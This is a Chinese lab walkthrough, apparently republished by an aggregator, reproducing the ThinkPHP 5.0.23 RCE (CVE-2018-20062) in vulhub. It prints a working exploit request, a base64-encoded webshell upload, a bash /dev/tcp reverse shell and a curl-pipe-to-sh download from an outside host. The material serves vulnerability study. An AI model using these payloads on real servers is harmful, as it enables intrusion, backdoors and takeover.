ThinkPHP 5.0.23 远程代码执行漏洞(CVE-2018-20062)漏洞复现

Posted 星球守护者

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ThinkPHP 5.0.23 远程代码执行漏洞(CVE-2018-20062)漏洞复现相关的知识,希望对你有一定的参考价值。

漏洞名称

  • Thinkphp 5.0.23 远程代码执行漏洞

漏洞编号

  • CVE-2018-20062

漏洞描述

  • ThinkPHP是一款运用极广的PHP开发框架。
  • 其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,
  • 导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
  • 由于ThinkPHP5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,构造特定的请求。

影响版本

  • ThinkPHP 5.0系列 <= 5.0.23

实验环境及准备

第一步 vulhub搭建

cd  Desktop/vulhub-master/thinkphp/5.0.23-rce
docker-compose up -d

第二步 访问网站,即可看到默认的ThinkPHP启动页面
http://your-ip:8080

漏洞发现

通过vulmap探测

漏洞复现(数据包)

第一步 执行命令

POST /index.php?s=captcha HTTP/1.1 Host: localhost Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 72 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

第二步 写入phpinfo

1|根据pwd获取绝对路径:/var/www/public
2、写入`echo "<?php phpinfo(); ?>" > /var/www/public/test.php`
echo%20"<?php%20phpinfo();%20?>"%20>%20/var/www/public/test.php

第三步 查看是否写入

1、ls%20-al
2、cat%20/var/www/public/test.php
3、http://192.168.253.147:8080/test.php


第四步 上传shell

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo%20"<?php%20@eval($_REQUEST['pass']);%20?>"%20>%20/var/www/public/pass.php

发现被过滤了

内容base64编码:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo%20-n%20YWFhPD9waHAgQGFzc2VydCgkX1JFUVVFU1RbJzEyMyddKTsgPz5iYmI=%20|%20base64%20-d>%20/var/www/public/pass.php


第五步 连接shell,并且反弹到主机


第六步 反弹shell
system('bash -c "bash -i >& /dev/tcp192.168.253.132/4444 0>&1"');
发现一直无法成功,后来一想,由于权限太低,无法执行

第六步 搭建网站,下载和执行
自己搭建一个网站,写上内容,直接下载,执行
curl%2049.233.33.xxx|sh

漏洞复现(工具)

第一步 检测漏洞

第二步 验证执行命令

第三步 漏洞检测

修复建议

  • 升级ThinkPHP至安全版本

摘抄


这一年,谢谢自己
无论世事变迁,内心依旧保有着
最朴素最真挚的感恩之心


免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!由于使用不当造成的后果上传者概不负责!

以上是关于ThinkPHP 5.0.23 远程代码执行漏洞(CVE-2018-20062)漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

ThinkPHP - 漏洞 - 汇总

ThinkPHP(5.1.x ~ 5.1.31 5.0.x ~ 5.0.23)GetShell漏洞

ThinkPHP-5.0.23新的RCE漏洞测试和POC

ThinkPHP5 远程代码执行(POST)

Vulnhub-ThinkPHP5 任意代码执行漏洞

ThinkPHP5 远程代码执行